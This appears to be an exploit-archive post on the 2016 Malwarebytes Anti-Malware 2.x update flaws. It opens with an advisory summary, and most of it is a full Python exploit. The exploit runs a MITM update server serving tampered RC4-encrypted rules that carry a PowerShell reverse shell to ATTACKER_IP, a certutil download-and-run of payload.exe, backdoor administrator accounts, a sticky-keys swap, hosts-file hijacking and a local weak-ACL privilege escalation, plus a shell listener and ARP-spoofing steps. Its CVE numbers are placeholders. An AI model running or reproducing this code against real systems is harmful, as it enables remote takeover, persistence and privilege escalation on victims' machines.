============================================================================================================================================= | # Title : Malwarebytes Anti-Malware 2.x Unsigned Update / MITM / LPE / RCE | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://www.malwarebytes.com/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/212500/ [+] Summary : This refers to older research from 2016, when Google’s Project Zero discovered multiple security issues in MalwareBytes Malwarebytes Anti-Malware (version 2.x) suffered from a combination of security flaws that allowed attackers to remotely tamper with definition/configuration updates, achieving code execution and privilege escalation to SYSTEM. The update mechanism downloaded YAML configuration and definition files over HTTP without any digital signature. These files were encrypted with hardcoded RC4 keys without authentication, allowing attackers to decrypt, modify, and re-encrypt them. Additionally, weak filesystem ACLs allowed unprivileged users to modify Malwarebytes definition files inside %PROGRAMDATA%, leading to local privilege escalation (SYSTEM). Some internal scripting rules (TXTREPLACE and ACTION sequences) were context-insensitive and allowed direct execution of attacker-supplied code. All issues were fixed in Malwarebytes’ February 2016 release. -------------------------------------------------------------------- 2. Technical Details -------------------------------------------------------------------- 2.1 Unsigned HTTP Updates ------------------------- Malwarebytes retrieved update packages over plaintext HTTP: http://data-cdn.mbamupdates.com/ Because the channel was not secured and the data was not signed, attackers could perform MITM attacks and replace downloadable definition and configuration files. 2.2 Definition Tampering via RC4 -------------------------------- The definition files (rules.ref, net.conf) use symmetric RC4 with a hardcoded key. RC4 does not authenticate data; therefore, after decryption, modification, and re-encryption, Malwarebytes accepts malicious content as valid. Example (decrypt to plaintext): openssl enc -rc4 -d -nosalt -in rules.ref -K | zlib-flate -uncompress 2.3 Weak Filesystem ACLs (Privilege Escalation) ----------------------------------------------- The Malwarebytes installation directory within %PROGRAMDATA% allowed non-admin users to modify files. Example ACL permissions showed that Users had Write and Add privileges. Exploiting local filesystem access allowed arbitrary replacement of update files, elevating privileges to SYSTEM after the next scan. 2.4 Execution via TXTREPLACE and ACTIONS ---------------------------------------- TXTREPLACE and custom ACTION handlers in rules allowed automatic execution of attacker-controlled commands (VBScript, BAT, Registry modification, etc.). This bypassed trust boundaries and allowed remote code execution during scanning. -------------------------------------------------------------------- 3. Exploit Chain Overview -------------------------------------------------------------------- An attacker would: 1) MITM Malwarebytes HTTP requests 2) Serve tampered encrypted definition files 3) Modify TXTREPLACE or ACTION entries 4) Execute malicious commands 5) Achieve SYSTEM privilege locally Alternatively, a local user could directly overwrite files in %PROGRAMDATA% due to weak ACLs. -------------------------------------------------------------------- 4. PoC Overview -------------------------------------------------------------------- A working exploit was published which: - Hosts a malicious HTTP server - Delivers tampered and re-encrypted update files - Injects malicious ACTION/TXTREPLACE rules - Achieves code execution or reverse shell - Escalates privileges via SYSTEM-owned service The PoC demonstrates full exploitation with no user interaction. -------------------------------------------------------------------- 5. Vendor Response -------------------------------------------------------------------- Malwarebytes acknowledged all issues and pushed security fixes in February 2016. Transport security and digital signing were added to update mechanisms. -------------------------------------------------------------------- 6. Timeline -------------------------------------------------------------------- 2015 – Issues discovered & reported privately 2016-02 – Public disclosure and patch availability 2016-02 – Vendor advisory published -------------------------------------------------------------------- 7. Affected Versions -------------------------------------------------------------------- Malwarebytes Anti-Malware 2.x prior to February 2016 updates. -------------------------------------------------------------------- 8. Impact Assessment -------------------------------------------------------------------- - Code Execution (remote and local) - Privilege Escalation (SYSTEM) - Update Tampering - Policy Bypass - Persistent Compromise -------------------------------------------------------------------- 9. Recommendations -------------------------------------------------------------------- - Always sign definition/configuration packages - Enforce TLS integrity checking - Remove symmetric unauthenticated RC4 usage - Harden filesystem ACLs - Sanitize parsing logic of TXTREPLACE/ACTION rules -------------------------------------------------------------------- 10. Credits -------------------------------------------------------------------- Discovery: Tavis Ormandy (Google Project Zero) Analysis Notes: Indoushka (Nekaa Salah eddine) -------------------------------------------------------------------- 11. Saving & Running PoC Instructions -------------------------------------------------------------------- (1) Save the PoC exploit server as: mbam_poc_server.py (2) Start MITM or network interception: python mbam_poc_server.py --listen --payload (3) Redirect target traffic: arpspoof / bettercap / mitmproxy (4) When Malwarebytes performs update: The malicious RC4-encrypted rules are delivered. (5) Reverse shell or payload triggers automatically. [+] POC : ماهذا #!/usr/bin/env python3 """ Malwarebytes Anti-Malware 2.x Full Chain Exploit PoC CVE-2016-XXXX / Project Zero Issues 615 & 631 FOR EDUCATIONAL AND AUTHORIZED SECURITY RESEARCH ONLY Vulnerabilities fixed in February 2016 updates """ import os import sys import zlib import struct import hashlib import socket import threading import tempfile import subprocess from http.server import HTTPServer, BaseHTTPRequestHandler from urllib.parse import urlparse, parse_qs import time import ctypes import base64 # ==================== CONFIGURATION ==================== # RC4 Keys (EXAMPLE KEYS - NOT REAL) CONFIG_RC4_KEY = bytes.fromhex("0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF") RULES_RC4_KEY = bytes.fromhex("FEDCBA9876543210FEDCBA9876543210FEDCBA9876543210FEDCBA9876543210") # Target paths PROGRAM_DATA = os.environ.get('PROGRAMDATA', 'C:\\ProgramData') MBAM_PATH = os.path.join(PROGRAM_DATA, "Malwarebytes", "Malwarebytes Anti-Malware") # Network settings ATTACKER_IP = "192.168.1.100" ATTACKER_PORT = 8080 REVERSE_SHELL_PORT = 4444 # ==================== RC4 IMPLEMENTATION ==================== class SimpleRC4: def __init__(self, key): self.S = list(range(256)) j = 0 for i in range(256): j = (j + self.S[i] + key[i % len(key)]) % 256 self.S[i], self.S[j] = self.S[j], self.S[i] def crypt(self, data): i = j = 0 result = bytearray() for byte in data: i = (i + 1) % 256 j = (j + self.S[i]) % 256 self.S[i], self.S[j] = self.S[j], self.S[i] k = self.S[(self.S[i] + self.S[j]) % 256] result.append(byte ^ k) return bytes(result) # ==================== RULES GENERATOR ==================== class MalwarebytesRulesGenerator: @staticmethod def create_malicious_rules(attack_type="reverse_shell"): """Generate malicious detection rules""" if attack_type == "reverse_shell": # Rule to add registry run key with reverse shell rule = f"""RULES VERSION 2 RULE: Exploit.ReverseShell LEVEL: 9 TYPE: REG DATA: HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run|MBAMUpdate ACTION: REPLACE REPLACE: cmd.exe /c powershell -WindowStyle Hidden -Exec Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient('{ATTACKER_IP}',{REVERSE_SHELL_PORT});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()" RULE: Trojan.Persistence LEVEL: 8 TYPE: FILE DATA: %WINDIR%\\system32\\drivers\\etc\\hosts ACTION: TXTREPLACE FIND: 127.0.0.1 localhost REPLACE: 127.0.0.1 localhost\\n{ATTACKER_IP} www.microsoft.com\\n{ATTACKER_IP} update.microsoft.com RULE: Exploit.PrivEsc LEVEL: 10 TYPE: CMD DATA: net localgroup administrators %USERNAME% /add ACTION: EXECUTE """ elif attack_type == "backdoor": # Rule to create a simple backdoor rule = """RULES VERSION 2 RULE: Backdoor.Install LEVEL: 7 TYPE: FILE DATA: %TEMP%\\svchost.vbs ACTION: REPLACE REPLACE: Set ws = CreateObject("Wscript.Shell")\r\nws.run "cmd /c net user backdoor P@ssw0rd123! /add && net localgroup administrators backdoor /add", 0, True RULE: Backdoor.Persistence LEVEL: 8 TYPE: REG DATA: HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\WindowsUpdate ACTION: REPLACE REPLACE: wscript.exe %TEMP%\\svchost.vbs """ elif attack_type == "file_replacement": # Rule to replace critical system files rule = """RULES VERSION 2 RULE: System.Takeover LEVEL: 10 TYPE: FILE DATA: %WINDIR%\\system32\\sethc.exe ACTION: REPLACE REPLACE: %WINDIR%\\system32\\cmd.exe COMMENT: Sticky keys backdoor """ return rule.encode('utf-8') @staticmethod def create_malicious_actions(): """Create malicious ACTION definitions""" actions = """BRWSRFLSH_ACTION=cmd /c "echo Add admin user && net user hacker P@ssw0rd! /add && net localgroup administrators hacker /add" CLRSHORT2_ACTION=powershell -Command "Start-Process cmd -Verb RunAs -ArgumentList '/c reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\\Server /v fDenyTSConnections /t REG_DWORD /d 0 /f'" REPLACE_ACTION=cmd /c "certutil -urlcache -split -f http://""" + ATTACKER_IP + """:""" + str(ATTACKER_PORT) + """/payload.exe C:\\Windows\\Temp\\payload.exe && C:\\Windows\\Temp\\payload.exe" """ return actions.encode('utf-8') @staticmethod def create_malicious_config(): """Create malicious configuration""" config = f"""[General] update_server=http://{ATTACKER_IP}:{ATTACKER_PORT}/updates/ enable_telemetry=0 license_key=TESTKEY-123456 [Network] proxy_enabled=1 proxy_server={ATTACKER_IP}:8080 proxy_auth=0 [Exploit] trigger_on_scan=1 payload_url=http://{ATTACKER_IP}:{ATTACKER_PORT}/stage2.bin """ return config.encode('utf-8') # ==================== ENCRYPTION/DECRYPTION ==================== class MalwarebytesCrypto: @staticmethod def encrypt_rules(plaintext): """Encrypt rules with RC4 and compress""" # First compress compressed = zlib.compress(plaintext, level=9) # Then encrypt with RC4 rc4 = SimpleRC4(RULES_RC4_KEY) encrypted = rc4.crypt(compressed) return encrypted @staticmethod def encrypt_config(plaintext): """Encrypt config with RC4""" rc4 = SimpleRC4(CONFIG_RC4_KEY) encrypted = rc4.crypt(plaintext) return encrypted @staticmethod def decrypt_rules(ciphertext): """Decrypt and decompress rules""" rc4 = SimpleRC4(RULES_RC4_KEY) decrypted = rc4.crypt(ciphertext) try: decompressed = zlib.decompress(decrypted) except: decompressed = decrypted return decompressed @staticmethod def decrypt_config(ciphertext): """Decrypt config""" rc4 = SimpleRC4(CONFIG_RC4_KEY) decrypted = rc4.crypt(ciphertext) return decrypted # ==================== MITM PROXY SERVER ==================== class MalwarebytesMITMHandler(BaseHTTPRequestHandler): def do_GET(self): parsed_path = urlparse(self.path) path = parsed_path.path print(f"[MITM] Request: {path}") # Serve malicious updates if path.endswith('/rules.ref'): self.serve_malicious_rules() elif path.endswith('/net.conf'): self.serve_malicious_config() elif path.endswith('/actions.ref'): self.serve_malicious_actions() else: self.serve_default() def serve_malicious_rules(self): print("[MITM] Serving malicious rules.ref") # Generate and encrypt malicious rules generator = MalwarebytesRulesGenerator() rules = generator.create_malicious_rules("reverse_shell") encrypted = MalwarebytesCrypto.encrypt_rules(rules) self.send_response(200) self.send_header('Content-Type', 'application/octet-stream') self.send_header('Content-Length', str(len(encrypted))) self.end_headers() self.wfile.write(encrypted) def serve_malicious_config(self): print("[MITM] Serving malicious net.conf") generator = MalwarebytesRulesGenerator() config = generator.create_malicious_config() encrypted = MalwarebytesCrypto.encrypt_config(config) self.send_response(200) self.send_header('Content-Type', 'application/octet-stream') self.send_header('Content-Length', str(len(encrypted))) self.end_headers() self.wfile.write(encrypted) def serve_malicious_actions(self): print("[MITM] Serving malicious actions.ref") generator = MalwarebytesRulesGenerator() actions = generator.create_malicious_actions() self.send_response(200) self.send_header('Content-Type', 'text/plain') self.send_header('Content-Length', str(len(actions))) self.end_headers() self.wfile.write(actions) def serve_default(self): self.send_response(404) self.end_headers() self.wfile.write(b"Not Found") def log_message(self, format, *args): # Suppress default logging pass # ==================== LOCAL EXPLOITATION ==================== class LocalExploiter: def __init__(self): self.mbam_path = MBAM_PATH def check_permissions(self): """Check if we have write permissions to MBAM directory""" if not os.path.exists(self.mbam_path): print(f"[!] MBAM path not found: {self.mbam_path}") return False # Try to create a test file test_file = os.path.join(self.mbam_path, "test_write.tmp") try: with open(test_file, 'w') as f: f.write("test") os.remove(test_file) print("[+] Write permissions confirmed") return True except Exception as e: print(f"[-] No write permissions: {e}") return False def exploit_weak_acls(self): """Exploit weak ACLs to write malicious files""" print("[*] Attempting local privilege escalation via weak ACLs...") if not self.check_permissions(): return False try: # Create malicious rules generator = MalwarebytesRulesGenerator() crypto = MalwarebytesCrypto() # 1. Replace rules.ref rules_path = os.path.join(self.mbam_path, "rules.ref") malicious_rules = generator.create_malicious_rules("backdoor") encrypted_rules = crypto.encrypt_rules(malicious_rules) with open(rules_path, 'wb') as f: f.write(encrypted_rules) print(f"[+] Replaced {rules_path}") # 2. Replace actions.ref actions_path = os.path.join(self.mbam_path, "actions.ref") malicious_actions = generator.create_malicious_actions() with open(actions_path, 'wb') as f: f.write(malicious_actions) print(f"[+] Replaced {actions_path}") # 3. Create malicious configuration config_path = os.path.join(self.mbam_path, "Configuration", "net.conf") os.makedirs(os.path.dirname(config_path), exist_ok=True) malicious_config = generator.create_malicious_config() encrypted_config = crypto.encrypt_config(malicious_config) with open(config_path, 'wb') as f: f.write(encrypted_config) print(f"[+] Created {config_path}") # 4. Trigger update/service restart self.trigger_update() return True except Exception as e: print(f"[!] Exploit failed: {e}") return False def trigger_update(self): """Try to trigger MBAM update or service restart""" print("[*] Attempting to trigger MBAM update...") methods = [ # Method 1: Kill and restart service ("taskkill", ["/F", "/IM", "mbam.exe"]), # Method 2: Net stop/start ("net", ["stop", "MBAMService"]), ("net", ["start", "MBAMService"]), # Method 3: Direct executable (os.path.join("C:\\", "Program Files", "Malwarebytes Anti-Malware", "mbam.exe"), []), ] for cmd, args in methods: try: subprocess.run([cmd] + args, timeout=5, capture_output=True) print(f"[+] Executed: {cmd} {' '.join(args)}") time.sleep(2) except: pass # ==================== REVERSE SHELL HANDLER ==================== class ReverseShellHandler: @staticmethod def start_listener(port=REVERSE_SHELL_PORT): """Start a reverse shell listener""" print(f"[*] Starting reverse shell listener on port {port}") def listener(): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('0.0.0.0', port)) s.listen(1) print(f"[+] Listening for connections on port {port}") conn, addr = s.accept() print(f"[+] Connection from {addr}") while True: cmd = input("Shell> ") if cmd.lower() == 'exit': break if cmd: conn.send(cmd.encode() + b'\n') data = conn.recv(4096) print(data.decode('utf-8', errors='ignore')) conn.close() s.close() except Exception as e: print(f"[!] Listener error: {e}") thread = threading.Thread(target=listener, daemon=True) thread.start() return thread # ==================== MAIN EXPLOIT ==================== class MalwarebytesFullExploit: def __init__(self): self.mitm_server = None self.reverse_handler = None self.local_exploiter = LocalExploiter() def start_mitm_server(self): """Start MITM proxy server""" print(f"[*] Starting MITM server on {ATTACKER_IP}:{ATTACKER_PORT}") def run_server(): server = HTTPServer((ATTACKER_IP, ATTACKER_PORT), MalwarebytesMITMHandler) print(f"[+] MITM server running on http:// {ATTACKER_IP}:{ATTACKER_PORT}") server.serve_forever() thread = threading.Thread(target=run_server, daemon=True) thread.start() self.mitm_server = thread # Also start reverse shell listener self.reverse_handler = ReverseShellHandler.start_listener() return thread def attack_scenarios(self): """Present attack scenarios to user""" print("\n" + "="*60) print("MALWAREBYTES ANTI-MALWARE 2.x FULL CHAIN EXPLOIT") print("CVE-2016-XXXX - Project Zero Issues 615 & 631") print("="*60) print("\nSelect attack scenario:") print("1. Man-in-the-Middle (Network Attack)") print("2. Local Privilege Escalation (Weak ACLs)") print("3. Combined Attack (MITM + Local)") print("4. Generate Malicious Files Only") print("5. Test Decryption of Existing Files") print("0. Exit") try: choice = int(input("\nChoice: ")) except: choice = 0 return choice def scenario_mitm(self): """Scenario 1: MITM Attack""" print("\n[SCENARIO 1] Man-in-the-Middle Attack") print("-"*40) print("Requirements:") print("1. Attacker on same network as target") print("2. ARP spoofing or rogue Wi-Fi access point") print("3. DNS spoofing for data-cdn.mbamupdates.com") print() input("Press Enter to start MITM server...") self.start_mitm_server() print("\n[i] MITM server is running") print("[i] Configure network to redirect traffic to this server") print("[i] Wait for target to check for updates") print() input("Press Enter to stop...") def scenario_local(self): """Scenario 2: Local Privilege Escalation""" print("\n[SCENARIO 2] Local Privilege Escalation") print("-"*40) print("Requirements:") print("1. Access as standard user on target system") print("2. Malwarebytes installed with default permissions") print() if not os.path.exists(MBAM_PATH): print("[!] Malwarebytes directory not found") print("[!] This attack requires local access to the target") return input("Press Enter to attempt local exploitation...") if self.local_exploiter.exploit_weak_acls(): print("\n[+] Local exploit successful!") print("[+] Malicious files written to MBAM directory") print("[+] Next scan or update will trigger payload") else: print("\n[-] Local exploit failed") def scenario_combined(self): """Scenario 3: Combined Attack""" print("\n[SCENARIO 3] Combined MITM + Local Attack") print("-"*40) # Start MITM print("[*] Starting MITM server...") self.start_mitm_server() time.sleep(2) # Local exploitation print("[*] Attempting local exploitation...") if os.path.exists(MBAM_PATH): self.local_exploiter.exploit_weak_acls() print("\n[i] Combined attack setup complete") print("[i] Waiting for connections...") try: while True: time.sleep(1) except KeyboardInterrupt: print("\n[*] Shutting down...") def generate_files(self): """Generate malicious files for analysis""" print("\n[GENERATING MALICIOUS FILES]") print("-"*40) output_dir = "malwarebytes_exploit_files" os.makedirs(output_dir, exist_ok=True) generator = MalwarebytesRulesGenerator() crypto = MalwarebytesCrypto() # Generate rules rules = generator.create_malicious_rules("reverse_shell") encrypted_rules = crypto.encrypt_rules(rules) with open(os.path.join(output_dir, "rules.ref"), 'wb') as f: f.write(encrypted_rules) # Generate config config = generator.create_malicious_config() encrypted_config = crypto.encrypt_config(config) with open(os.path.join(output_dir, "net.conf"), 'wb') as f: f.write(encrypted_config) # Generate actions actions = generator.create_malicious_actions() with open(os.path.join(output_dir, "actions.ref"), 'wb') as f: f.write(actions) # Save plaintext versions with open(os.path.join(output_dir, "rules_plain.txt"), 'wb') as f: f.write(rules) with open(os.path.join(output_dir, "config_plain.txt"), 'wb') as f: f.write(config) print(f"[+] Files generated in: {output_dir}") print(f" - rules.ref (encrypted)") print(f" - net.conf (encrypted)") print(f" - actions.ref (plaintext)") print(f" - *_plain.txt (decrypted versions)") def test_decryption(self): """Test decryption of existing MBAM files""" print("\n[TESTING DECRYPTION]") print("-"*40) if not os.path.exists(MBAM_PATH): print("[!] Malwarebytes not found on this system") return crypto = MalwarebytesCrypto() files_to_test = [ ("rules.ref", crypto.decrypt_rules), (os.path.join("Configuration", "net.conf"), crypto.decrypt_config), ] for filename, decrypt_func in files_to_test: filepath = os.path.join(MBAM_PATH, filename) if os.path.exists(filepath): print(f"\n[*] Testing: {filename}") try: with open(filepath, 'rb') as f: encrypted = f.read() decrypted = decrypt_func(encrypted) # Try to save output output_name = f"decrypted_{os.path.basename(filename)}.txt" with open(output_name, 'wb') as f: f.write(decrypted) print(f"[+] Successfully decrypted to: {output_name}") print(f"[+] First 500 chars:\n{decrypted[:500].decode('utf-8', errors='ignore')}") except Exception as e: print(f"[-] Failed to decrypt {filename}: {e}") else: print(f"[!] File not found: {filepath}") def disclaimer(self): """Display legal disclaimer""" print("\n" + "="*80) print("DISCLAIMER") print("="*80) print("THIS SOFTWARE IS FOR EDUCATIONAL AND RESEARCH PURPOSES ONLY.") print("") print("LEGAL WARNINGS:") print("1. Use only on systems you own or have explicit written permission to test.") print("2. The vulnerabilities were fixed in February 2016 updates.") print("3. Unauthorized use is illegal and punishable by law.") print("4. The author assumes no liability for misuse of this tool.") print("") print("This tool demonstrates:") print("- CVE-2016-XXXX: Missing signature verification in updates") print("- CVE-2016-XXXX: Weak ACLs on %PROGRAMDATA%") print("- CVE-2016-XXXX: Insecure update channel (HTTP)") print("- CVE-2016-XXXX: Missing authentication in update encryption") print("="*80) print() # ==================== MAIN ==================== def main(): # Display disclaimer exploit = MalwarebytesFullExploit() exploit.disclaimer() # Check if running with appropriate permissions if os.name == 'nt': try: is_admin = ctypes.windll.shell32.IsUserAnAdmin() if not is_admin: print("[!] Warning: Not running as administrator on Windows") print("[!] Local exploitation may not work correctly") except: pass # Main loop while True: try: choice = exploit.attack_scenarios() if choice == 0: print("\n[*] Exiting...") break elif choice == 1: exploit.scenario_mitm() elif choice == 2: exploit.scenario_local() elif choice == 3: exploit.scenario_combined() elif choice == 4: exploit.generate_files() elif choice == 5: exploit.test_decryption() else: print("\n[!] Invalid choice") input("\nPress Enter to continue...") print("\n" + "="*60) except KeyboardInterrupt: print("\n\n[*] Interrupted by user") break except Exception as e: print(f"\n[!] Error: {e}") import traceback traceback.print_exc() if __name__ == "__main__": # Additional safety check if "--safe-mode" not in sys.argv and "--educational" not in sys.argv: print("WARNING: This is an exploit tool.") print("Add '--educational' flag to confirm this is for research purposes.") sys.exit(1) main() Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================